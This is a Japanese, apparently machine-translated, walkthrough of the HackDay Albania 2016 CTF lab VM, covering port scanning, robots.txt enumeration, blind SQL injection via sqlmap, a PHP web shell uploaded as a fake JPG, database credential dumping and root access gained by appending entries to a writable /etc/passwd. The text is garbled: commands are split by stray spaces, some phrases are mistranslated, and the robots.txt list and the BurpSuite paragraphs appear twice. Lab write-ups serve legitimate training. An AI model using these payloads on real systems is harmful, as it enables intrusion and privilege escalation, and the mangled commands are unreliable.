これは、HackDayアルバニアの2016 CTFで使用されました。
レベルは初級から中級です。
DHCPを使用します。
注:VMwareユーザーには、デフォルトでネットワークインターフェースがダウンする問題が発生する場合があります。 Virtualboxの使用を(一度だけ!)お勧めします。
タスクは、 前回同様、初心者向けに設計されています。 したがって、記事のいくつかの時点でより詳細に検討されます。
始めましょう
ダウンロードしたイメージをVirtualBoxで起動し、 nmapを読み込んだ後、開いているポートを探します。
sudo nmap 192.168.1.1-255 -sV
2016-12-18 00:03 MSKにNmap 7.01( nmap.org )を開始
192.168.1.44のNmapスキャンレポート
ホストが稼働しています(0.0013秒の遅延)。
表示なし:998個の閉じたポート
ポートステートサービスバージョン
22 / tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1(Ubuntu Linux;プロトコル2.0)
8008 / tcp open http Apache httpd 2.4.18((Ubuntu))
MACアドレス:08:00:27:98:0D:5F(Oracle VirtualBox仮想NIC)
サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel
192.168.1.44を渡します:8008ポップアップウィンドウが表示されます
ページコード内のコメント:
OK ok、por jo ketu :)
robots.txtファイルの内容を見てみましょう
robots.txt
不許可:/ rkfpuzrahngvat /
不許可:/ slgqvasbiohwbu /
許可しない:/ tmhrwbtcjpixcv /
不許可:/ vojtydvelrkzex /
禁止:/ wpkuzewfmslafy /
許可しない:/ xqlvafxgntmbgz /
不許可:/ yrmwbgyhouncha /
禁止:/ zsnxchzipvodib /
不許可:/ atoydiajqwpejc /
許可しない:/ bupzejbkrxqfkd /
不許可:/ cvqafkclsyrgle /
許可しない:/ unisxcudkqjydw /
許可しない:/ dwrbgldmtzshmf /
許可しない:/ exschmenuating /
許可しない:/ fytdinfovbujoh /
許可しない:/ gzuejogpwcvkpi /
不許可:/ havfkphqxdwlqj /
不許可:/ ibwglqiryexmrk /
不許可:/ jcxhmrjszfynsl /
許可しない:/ kdyinsktagzotm /
許可しない:/ lezjotlubhapun /
不許可:/ mfakpumvcibqvo /
許可しない:/ ngblqvnwdjcrwp /
禁止:/ ohcmrwoxekdsxq /
不許可:/ pidnsxpyfletyr /
許可しない:/ qjeotyqzgmfuzs /
不許可:/ slgqvasbiohwbu /
許可しない:/ tmhrwbtcjpixcv /
不許可:/ vojtydvelrkzex /
禁止:/ wpkuzewfmslafy /
許可しない:/ xqlvafxgntmbgz /
不許可:/ yrmwbgyhouncha /
禁止:/ zsnxchzipvodib /
不許可:/ atoydiajqwpejc /
許可しない:/ bupzejbkrxqfkd /
不許可:/ cvqafkclsyrgle /
許可しない:/ unisxcudkqjydw /
許可しない:/ dwrbgldmtzshmf /
許可しない:/ exschmenuating /
許可しない:/ fytdinfovbujoh /
許可しない:/ gzuejogpwcvkpi /
不許可:/ havfkphqxdwlqj /
不許可:/ ibwglqiryexmrk /
不許可:/ jcxhmrjszfynsl /
許可しない:/ kdyinsktagzotm /
許可しない:/ lezjotlubhapun /
不許可:/ mfakpumvcibqvo /
許可しない:/ ngblqvnwdjcrwp /
禁止:/ ohcmrwoxekdsxq /
不許可:/ pidnsxpyfletyr /
許可しない:/ qjeotyqzgmfuzs /
これらのディレクトリのいずれかに移動しようとした後、次の図でindex.htmlファイルを開きます。
background.jpg
翻訳者を使用して、これが正しいディレクトリではないことを理解しています。 すべてを確認するには、dirsearchに次のスクリプトを使用します。
以下を開始します。
sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt
スキャンが完了すると、 / unisxcudkqjydw /ディレクトリの1つでbackground.jpgファイルが欠落していることが わかります。
ブラウザでこのディレクトリに移動すると、次の答えが表示されます。
/ vulnbank /がありますか?
/ vulnbank /ディレクトリの内容を確認すると、認証ページが表示されます。
SQLインジェクションを確認します。
sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3
そして答えを得る:
sqlmapは、保存されたセッションから次の注入ポイントを再開しました。
-パラメーター:ユーザー名(POST)
タイプ:ブールベースのブラインド
タイトル:MySQL RLIKE boolean-based blind-WHERE、HAVING、ORDER BYまたはGROUP BY句
ペイロード:ユーザー名= admin 'RLIKE(SELECT(CASE WHEN(9555 = 9555)THEN 0x61646d696e ELSE 0x28 END))-pSKE&password = admin
タイプ:AND / OR時間ベースのブラインド
タイトル:MySQL> = 5.0.12 RLIKE時間ベースのブラインド
ペイロード:ユーザー名= admin 'RLIKE SLEEP(5)-DBgyとパスワード= admin
テーブルの内容をダンプしようとして失敗し、sqlmapはエラーをスローしました: [クリティカル]データベースユーザー数を取得できません 。
データを使用してクエリを手動で実行しようとします。 ユーザー名= admin 'RLIKE SLEEP(5)-DBgy&パスワード= admin
そして、あるユーザーのプロファイルに予期せずリダイレクトされます:
非表示のテキスト
いいね! ファイルをダウンロードし、何かをアップロードしようとすると、それに応じてメッセージが表示されます。
ハッキングされた後、jpg、jpeg、bmpなどの画像ファイルのみをアップロードできます...
OK、ファイルを作成する
shell.jpg
<?php system($_GET['cmd']); ?>
それを埋めると、すべてがうまくいったというメッセージを受け取ります。 ダウンロードしたファイルはアップロードディレクトリに分類され、次の場所からも入手できます。
192.168.1.44:8008 / unisxcudkqjydw / vulnbank / client / view_file.php?ファイル名= shell.jpg&cmd = id 。
しかし、大切なシェルの代わりに、次のメッセージが表示されます。
警告:システム():1行目の/var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpgで[id]を分岐できません
いくつかのオプションを試してみましたが、システムコマンドを実行する機能を持たない、最も一般的なphpのインクルージョンがあることがわかりました。
PHPシェルを使用する場合の利点
b374k シェルにチケットを送信するためのフォームに記入します
BurpSuiteを起動し、そこでルールを構成します。
PSこれがないと、BurpSuiteはview_file.php?Filename = myShell.jpg request ?Filename = myShell.jpgに追加するたびにエラーが発生します。
シェルを起動し、ファイル名をupload / myShell.jpgからupload / myShell.phpに変更します。
必要のないBurpSuiteが増えました。 シェルは192.168.1.44:8008 / unisxcudkqjydw / vulnbank / client / upload / myShell.phpから入手できます。
BurpSuiteを起動し、そこでルールを構成します。
PSこれがないと、BurpSuiteはview_file.php?Filename = myShell.jpg request ?Filename = myShell.jpgに追加するたびにエラーが発生します。
シェルを起動し、ファイル名をupload / myShell.jpgからupload / myShell.phpに変更します。
必要のないBurpSuiteが増えました。 シェルは192.168.1.44:8008 / unisxcudkqjydw / vulnbank / client / upload / myShell.phpから入手できます。
データベースからクライアントとそのパスワードを取得できます。
非表示のテキスト
function execute_query($sql){ $db_host = "127.0.0.1"; $db_name = "bank_database"; $db_user = "root"; $db_password = "NuCiGoGo321"; $con=mysqli_connect($db_host,$db_user,$db_password,$db_name); if(mysqli_connect_errno()){ echo "Failed to connect to MySQL: " . mysqli_connect_error(); die(0); } $response = mysqli_query($con,$sql); mysqli_close($con); return $response; } $result = execute_query("SELECT * FROM klienti;"); while($row = $result->fetch_assoc()) { print_r($row); }
ファイルとディレクトリを調べると、次のエントリが見つかります。
passwd 1.58 KBルート:root -rw-r-rw- 2016年10月22日17:21:42
素晴らしい、ユーザーを作成できます。 管理者パスワードハッシュを作成します。
openssl passwd -1 -salt admin admin
次に、持っているシェルを介して挿入し、そのようなエントリを/ etc / passwdファイルに挿入します
gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash
PSルートからのssh接続が利用できなかったため、2人のユーザーを追加しています。 ルートのみを追加でき、他のすべてのアクションは仮想マシンにログインして実行する必要がありますが、sshの方が便利です。
ユーザーgh0st3rsとしてssh経由で接続し、コマンドを実行します
su admin
パスワードを入力すると、この仮想マシンのルート権限を取得します
小さい場合は、旗を見つけるのが残ります。
root@hackday:/# find / -name "*flag*" root@hackday:/# cat /root/flag.txt Urime, Tani nis raportin! d5ed38fdbf28bc4e58be142cf5a17cf5 root@hackday:/#
PS解読後、フラグがrioの md5であることがわかります